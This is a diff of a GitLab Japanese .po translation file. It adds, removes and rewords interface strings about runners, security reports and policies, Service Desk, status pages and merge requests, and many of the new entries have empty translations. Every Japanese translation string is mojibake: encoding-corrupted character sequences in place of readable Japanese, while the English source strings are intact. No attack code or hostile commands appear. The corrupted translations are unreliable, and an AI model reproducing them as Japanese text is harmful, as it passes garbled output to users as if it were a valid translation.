+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -25906,9 +26548,6 @@ msgstr "Runners |共有ランナーパイプラインã®%{quotaLimit} ã®ã†ã¡%
msgid "Running"
msgstr "稼åƒä¸­"
-msgid "Running…"
-msgstr "実行中…"
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr "ç¾åœ¨ã®ãƒªãƒã‚¸ãƒˆãƒªå†…ã§ã€ãƒ•ã‚¡ã‚¤ãƒ«ãƒªãƒ“ジョンã®åœ§ç¸®ã‚„アクセスä¸å¯èƒ½ãªã‚ªãƒ–ジェクトã®é™¤åŽ»ã¨ã„ã£ãŸã€ã„ãã¤ã‹ã®ãƒã‚¦ã‚¹ã‚­ãƒ¼ãƒ”ングを実行ã—ã¾ã™ã€‚"
@@ -26005,6 +26644,9 @@ msgstr "テストをã™ã‚‹å‰ã«å¤‰æ›´ã‚’é©ç”¨ã—ã¾ã™ã‹ï¼Ÿ"
msgid "Save comment"
msgstr "コメントをä¿å­˜"
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr "パスワードをä¿å­˜"
@@ -26023,6 +26665,9 @@ msgstr "ä¿å­˜ä¸­"
msgid "Saving project."
msgstr "プロジェクトをä¿å­˜"
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26047,9 +26692,6 @@ msgstr "スケジュール"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr "スケジュール"
-
msgid "Scheduling Pipelines"
msgstr "パイプラインスケジューリング"
@@ -26101,6 +26743,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr "環境スペックを検索"
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26152,6 +26797,9 @@ msgstr "ã“ã®ãƒ†ã‚­ã‚¹ãƒˆã‚’検索"
msgid "Search forks"
msgstr "フォークを検索ã™ã‚‹"
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26161,6 +26809,9 @@ msgstr "マージリクエストを検索"
msgid "Search milestones"
msgstr "マイルストーンを検索"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "çµæžœã‚’検索ã¾ãŸã¯ãƒ•ã‚£ãƒ«ã‚¿ã™ã‚‹..."
@@ -26355,6 +27006,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr "マージリクエストã®ä½œæˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -26430,25 +27084,31 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
+msgstr ""
+
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr "%{firstProject} 㨠%{secondProject}"
msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr "%{firstProject}〠%{secondProject}ã€ãŠã‚ˆã³ %{rest}"
-msgid "SecurityReports|Add a project to your dashboard"
-msgstr "プロジェクトをダッシュボードã«è¿½åŠ "
-
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr "セキュリティエリアã§ç›£è¦–ã™ã‚‹ãƒ—ロジェクトを追加ã¾ãŸã¯å‰Šé™¤ã—ã¾ã™ã€‚ ã“ã®ä¸€è¦§ã«å«ã¾ã‚Œã‚‹ãƒ—ロジェクトã§ã¯ã€ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ãƒ€ãƒƒã‚·ãƒ¥ãƒœãƒ¼ãƒ‰ã¨è„†å¼±æ€§ãƒ¬ãƒãƒ¼ãƒˆã«çµæžœãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚"
msgid "SecurityReports|Add projects"
msgstr "プロジェクトを追加"
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26463,6 +27123,9 @@ msgstr "'%{vulnerabilityName}' ã‹ã‚‰å‰Šé™¤ã•ã‚ŒãŸã‚³ãƒ¡ãƒ³ãƒˆ"
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr "'%{vulnerabilityName}' ã®ç·¨é›†ã•ã‚ŒãŸã‚³ãƒ¡ãƒ³ãƒˆ"
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26520,16 +27183,28 @@ msgstr "脆弱性ã‹ã‚‰ä½œæˆã•ã‚ŒãŸã‚¤ã‚·ãƒ¥ãƒ¼ã¯å‰Šé™¤ã§ãã¾ã›ã‚“。"
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr "ダッシュボードã®è¨­å®šã®è©³ç´°"
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26595,15 +27270,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26655,9 +27321,6 @@ msgstr "脆弱性レãƒãƒ¼ãƒˆ"
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26667,9 +27330,6 @@ msgstr "ã“ã®ãƒ¬ãƒãƒ¼ãƒˆã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹æ¨©é™ãŒã‚ã‚Šã¾ã›ã‚“"
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr "ã“ã®ãƒ¬ãƒãƒ¼ãƒˆã‚’表示ã™ã‚‹ã«ã¯ã€æ‰¿èªã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã¨ã—ã¦ã‚µã‚¤ãƒ³ã‚¤ãƒ³ã—ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“。"
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr "GitLabã®%{password_policy_guidelines} ã‚’å‚ç…§"
@@ -26706,6 +27366,9 @@ msgstr "ページを変更"
msgid "Select Stack"
msgstr "スタックã®é¸æŠž"
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr "å·¦å´ã®ã‚µã‚¤ãƒ‰ãƒãƒ¼ã‹ã‚‰ãƒ•ã‚¡ã‚¤ãƒ«ã‚’é¸æŠžã—ã¦ç·¨é›†ã‚’開始ã—ã¾ã™ã€‚ãã®å¾Œã€å¤‰æ›´ã‚’コミットã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
@@ -26715,8 +27378,8 @@ msgstr "招待ã™ã‚‹ãŸã‚ã®ã‚°ãƒ«ãƒ¼ãƒ—ã‚’é¸æŠžã™ã‚‹"
msgid "Select a label"
msgstr "ラベルをé¸æŠž"
-msgid "Select a namespace to fork the project"
-msgstr "プロジェクトをフォークã™ã‚‹åå‰ç©ºé–“ã‚’é¸æŠžã—ã¦ãã ã•ã„"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr "æ–°ã—ã„åå‰ç©ºé–“ã‚’é¸æŠž"
@@ -26745,9 +27408,15 @@ msgstr "タイムゾーンをé¸æŠž"
msgid "Select all"
msgstr "ã™ã¹ã¦é¸æŠž"
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr "担当者をé¸æŠž"
@@ -26802,9 +27471,6 @@ msgstr "プロジェクトをé¸æŠžã—ã¦ã‚¾ãƒ¼ãƒ³ã‚’é¸æŠž"
msgid "Select projects"
msgstr "プロジェクトã®é¸æŠž"
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -26898,6 +27564,9 @@ msgstr "自己監視プロジェクトãŒæ­£å¸¸ã«ä½œæˆã•ã‚Œã¾ã—ãŸ."
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr "自己監視プロジェクトãŒæ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸ."
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27036,21 +27705,45 @@ msgstr "サービスデスク"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
-msgstr "サービスデスクã¯æœ‰åŠ¹ã§ã™ã€‚ã—ã‹ã—アクティブã§ã¯ã‚ã‚Šã¾ã›ã‚“"
-
-msgid "Service Desk is not enabled"
-msgstr ""
-
-msgid "Service Desk is not supported"
-msgstr "サービスデスクã¯ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ã¾ã›ã‚“"
-
msgid "Service Templates"
msgstr "サービス テンプレート"
msgid "Service URL"
msgstr "サービス URL"
+msgid "ServiceDesk|Enable Service Desk"
+msgstr ""
+
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -27150,6 +27843,9 @@ msgstr "グループãŒ1ヶ月間ã«å…±æœ‰ãƒ©ãƒ³ãƒŠãƒ¼ã§ä½¿ç”¨ã§ãã‚‹ã®ãƒ‘ã‚
msgid "Set the milestone to %{milestone_reference}."
msgstr "マイルストーンを %{milestone_reference} ã«è¨­å®šã€‚"
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27204,7 +27900,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "パスワードを設定"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27216,6 +27912,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "ステータスをåˆæœŸåŒ–"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "ステータスを編集"
@@ -27237,6 +27936,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "ã‚ãªãŸã®ã‚¹ãƒ†ãƒ¼ã‚¿ã‚¹ã¯ï¼Ÿ"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr "%{epic_ref} を親エピックã¨ã—ã¦è¨­å®šã—ã¾ã™ 。"
@@ -27440,9 +28142,15 @@ msgstr[0] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr "%{total_count} 件中 %{limit} ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’表示. "
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr "%{total} 件中 %{pageSize} ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’表示"
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr "ã™ã¹ã¦ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’表示"
@@ -27461,6 +28169,9 @@ msgstr ""
msgid "Side-by-side"
msgstr "並列"
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27701,6 +28412,9 @@ msgstr "ã‚ãªãŸã®ç·¨é›†ã¨åŒæ™‚ã«èª°ã‹ãŒã“ã® %{issueType} を編集ã—ã
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr "ã‚ãªãŸã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ç·¨é›†ã¨åŒæ™‚ã«èª°ã‹ãŒç·¨é›†ã—ã¾ã—ãŸã€‚変更を確èªã™ã‚‹ã«ã¯ã€ãƒšãƒ¼ã‚¸ã‚’æ›´æ–°ã—ã¦ãã ã•ã„。"
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28379,15 +29093,15 @@ msgstr "ステータス:"
msgid "Status: %{title}"
msgstr ""
+msgid "StatusPage|AWS %{docsLink}"
+msgstr ""
+
msgid "StatusPage|AWS Secret access key"
msgstr "AWSシークレットアクセスキー"
msgid "StatusPage|AWS access key ID"
msgstr "AWSアクセスキーID"
-msgid "StatusPage|AWS documentation"
-msgstr "AWSドキュメント"
-
msgid "StatusPage|AWS region"
msgstr "AWSリージョン"
@@ -28400,9 +29114,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28415,7 +29126,7 @@ msgstr "ステータスページã®URL"
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28505,9 +29216,6 @@ msgstr "サブキー"
msgid "Submit"
msgstr "é€ä¿¡"
-msgid "Submit %{humanized_resource_name}"
-msgstr "%{humanized_resource_name} ã‚’é€ä¿¡"
-
msgid "Submit a review"
msgstr "レビューをé€ä¿¡"
@@ -28523,9 +29231,6 @@ msgstr ""
msgid "Submit feedback"
msgstr "フィードãƒãƒƒã‚¯ã‚’é€ä¿¡"
-msgid "Submit issue"
-msgstr "イシューを作æˆ"
-
msgid "Submit review"
msgstr "レビューをé€ä¿¡"
@@ -28583,9 +29288,6 @@ msgstr "サブスクリプションã®å‰Šé™¤ã«æˆåŠŸã—ã¾ã—ãŸã€‚"
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29209,6 +29911,10 @@ msgstr ""
msgid "Test coverage parsing"
msgstr "テストカãƒãƒ¬ãƒƒã‚¸è§£æž"
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29364,9 +30070,6 @@ msgstr[0] "%{type} ã«æ¬¡ã®ã‚¨ãƒ©ãƒ¼ãŒå«ã¾ã‚Œã¦ã„ã¾ã™ã€‚"
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29439,6 +30142,9 @@ msgstr "ç¾åœ¨ã®ã‚¤ã‚·ãƒ¥ãƒ¼"
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr "データソースã«ã¯æŽ¥ç¶šã§ãã¦ã„ã¾ã™ãŒã€è¡¨ç¤ºã™ã‚‹ãƒ‡ãƒ¼ã‚¿ã¯ã‚ã‚Šã¾ã›ã‚“。 %{documentationLink}"
@@ -29466,6 +30172,9 @@ msgstr "ã‚ãªãŸãŒå…¥åŠ›ã—ãŸãƒ‰ãƒ¡ã‚¤ãƒ³ã¯è¨±å¯ã•ã‚Œã¦ã„ã¾ã›ã‚“。"
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29478,6 +30187,9 @@ msgstr "ファイルã¯æ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
msgid "The file name should have a .yml extension"
msgstr "ファイルåã«ã¯ .yml ã¨ã„ã†æ‹¡å¼µå­ãŒå¿…è¦ã§ã™ã€‚"
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29539,6 +30251,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "インãƒãƒ¼ãƒˆã¯ %{timeout} ã§ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã—ã¾ã™ã€‚タイムアウトã™ã‚‹ãƒªãƒã‚¸ãƒˆãƒªã§ã¯ã€clone/push を組ã¿åˆã‚ã›ã¦ä½¿ç”¨ã—ã¦ãã ã•ã„。"
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "招待ã¯å—ã‘入れられã¾ã›ã‚“ã§ã—ãŸã€‚"
@@ -29599,6 +30314,9 @@ msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã«å¯¾ã™ã‚‹ãƒžãƒ¼ã‚¸ã®ç«¶åˆã¯ã™ã§ã«
msgid "The merge request can now be merged."
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯ä»Šã€ãƒžãƒ¼ã‚¸ã§ãã¾ã™ã€‚"
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr "ã“ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã«ã¯ã€ \"%{name}\" ã¨ã„ã†åå‰ãŒã™ã§ã«ä½¿ç”¨ã•ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -29671,6 +30389,9 @@ msgstr "匿å化データコレクションã¯ç„¡åŠ¹ã§ã™ã€‚有効ã«ã—ãŸã¨
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr "リモートミラーãŒå®Œäº†ã™ã‚‹ã¾ã§ã«æ™‚é–“ãŒã‹ã‹ã‚Šã¾ã™ã€‚"
@@ -29722,6 +30443,9 @@ msgstr "指定ã—ãŸã‚¿ãƒ–ã¯ç„¡åŠ¹ã§ã™ã€‚別ã®ã‚¿ãƒ–ã‚’é¸æŠžã—ã¦ãã ã•
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "ステージングステージã§ã¯ã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆãŒãƒžãƒ¼ã‚¸ã•ã‚Œã¦ã‹ã‚‰ã‚³ãƒ¼ãƒ‰ãŒãƒ—ロダクション環境ã«ãƒ‡ãƒ—ロイã•ã‚Œã‚‹ã¾ã§ã®æ™‚é–“ãŒè¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ã“ã®ãƒ‡ãƒ¼ã‚¿ã¯æœ€åˆã«ãƒ—ロダクションã«ãƒ‡ãƒ—ロイã—ãŸã¨ãã«è‡ªå‹•çš„ã«è¿½åŠ ã•ã‚Œã¾ã™ã€‚"
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29770,6 +30494,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29797,6 +30527,9 @@ msgstr "ã“ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«ç´ä»˜ã„ã¦ã„ã‚‹SSH éµã¯ã‚ã‚Šã¾ã›ã‚“"
msgid "There are no SSH keys with access to your account."
msgstr "ã‚ãªãŸã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ãŸã‚ã®SSH éµãŒã‚ã‚Šã¾ã›ã‚“"
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "アーカイブã•ã‚ŒãŸãƒ—ロジェクトã¯ã‚ã‚Šã¾ã›ã‚“"
@@ -29830,9 +30563,6 @@ msgstr "ã“ã® GitLab インスタンス用ã«è¨­å®šã•ã‚ŒãŸã‚«ã‚¹ã‚¿ãƒ ãƒ—ロã
msgid "There are no issues to show"
msgstr "表示ã™ã‚‹ã‚¤ã‚·ãƒ¥ãƒ¼ãŒã‚ã‚Šã¾ã›ã‚“"
-msgid "There are no issues to show."
-msgstr "表示ã™ã‚‹ã‚¤ã‚·ãƒ¥ãƒ¼ãŒã‚ã‚Šã¾ã›ã‚“."
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30076,6 +30806,9 @@ msgstr "メールトークンã®ãƒªã‚»ãƒƒãƒˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ
msgid "There was an error when subscribing to this label."
msgstr "ラベルã®è³¼èª­ã™ã‚‹ã¨ãã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr "ラベルã®è³¼èª­è§£é™¤ã™ã‚‹ã¨ãã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -30214,8 +30947,8 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr "ã“ã®ãƒãƒ£ãƒ¼ãƒˆã¯è¡¨ç¤ºã§ãã¾ã›ã‚“"
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
-msgstr "ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ç·¨é›†ã‚’始ã‚ã¦ã‹ã‚‰å¤‰æ›´ã•ã‚Œã¦ã„ã¾ã™ã€‚情報ãŒå¤±ã‚ã‚Œãªã„よã†ã«ã€%{startTag}ã®æ›´æ–°ã•ã‚ŒãŸã‚³ãƒ¡ãƒ³ãƒˆ%{endTag}を確èªã—ã¦ãã ã•ã„。"
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ %{link_to_merge_request} ã®ä¸€éƒ¨ã§ã™ã€‚ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ã€ãã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ã‚³ãƒ³ãƒ†ã‚­ã‚¹ãƒˆã§ä½œæˆã—ã¾ã™ã€‚"
@@ -30298,6 +31031,9 @@ msgstr ""
msgid "This group"
msgstr "ã“ã®ã‚°ãƒ«ãƒ¼ãƒ—"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30307,6 +31043,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30319,6 +31058,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr "ã“ã‚Œã¯ã€ä»¥å‰ã«å‰Šé™¤ã•ã‚ŒãŸãƒ¦ãƒ¼ã‚¶ãƒ¼ã«ã‚ˆã£ã¦ä½œæˆã•ã‚ŒãŸã™ã¹ã¦ã®ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’ä¿æŒã™ã‚‹ãŸã‚ã«ä½œæˆã•ã‚ŒãŸã€ã€Œã‚´ãƒ¼ã‚¹ãƒˆãƒ¦ãƒ¼ã‚¶ãƒ¼ã€ã§ã™ã€‚ã“ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã¯å‰Šé™¤ã§ãã¾ã›ã‚“。"
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30625,9 +31367,6 @@ msgstr "ã“ã®æ“作ã¯ã€ã“ã®ãƒ—ロジェクト㨠%{fork_source} é–“ã®ãƒ•ã‚
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr "ã“ã®æ“作ã¯ã€ã“ã®ãƒ—ロジェクトã¨ãƒ•ã‚©ãƒ¼ã‚¯ãƒãƒƒãƒˆãƒ¯ãƒ¼ã‚¯å†…ã®ä»–ã®ãƒ—ロジェクトã®é–“ã®ãƒ•ã‚©ãƒ¼ã‚¯é–¢ä¿‚を削除ã—ã¾ã™ã€‚"
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr "ã“ã“ã«ãƒªã‚¹ãƒˆã‚¢ãƒƒãƒ—ã•ã‚Œã¦ã„ã‚‹ã“れらã®ãƒ¡ãƒ¼ãƒ«ã¯è‡ªå‹•çš„ã«ã‚¤ã‚·ãƒ¥ãƒ¼ã«ãªã‚Šã¾ã™ã€‚(メールã®ã‚„ã‚Šå–ã‚Šã¯ã‚¤ã‚·ãƒ¥ãƒ¼ã®ã‚³ãƒ¡ãƒ³ãƒˆã«ãªã‚Šã¾ã™ï¼‰"
-
msgid "Thread to reply to cannot be found"
msgstr ""
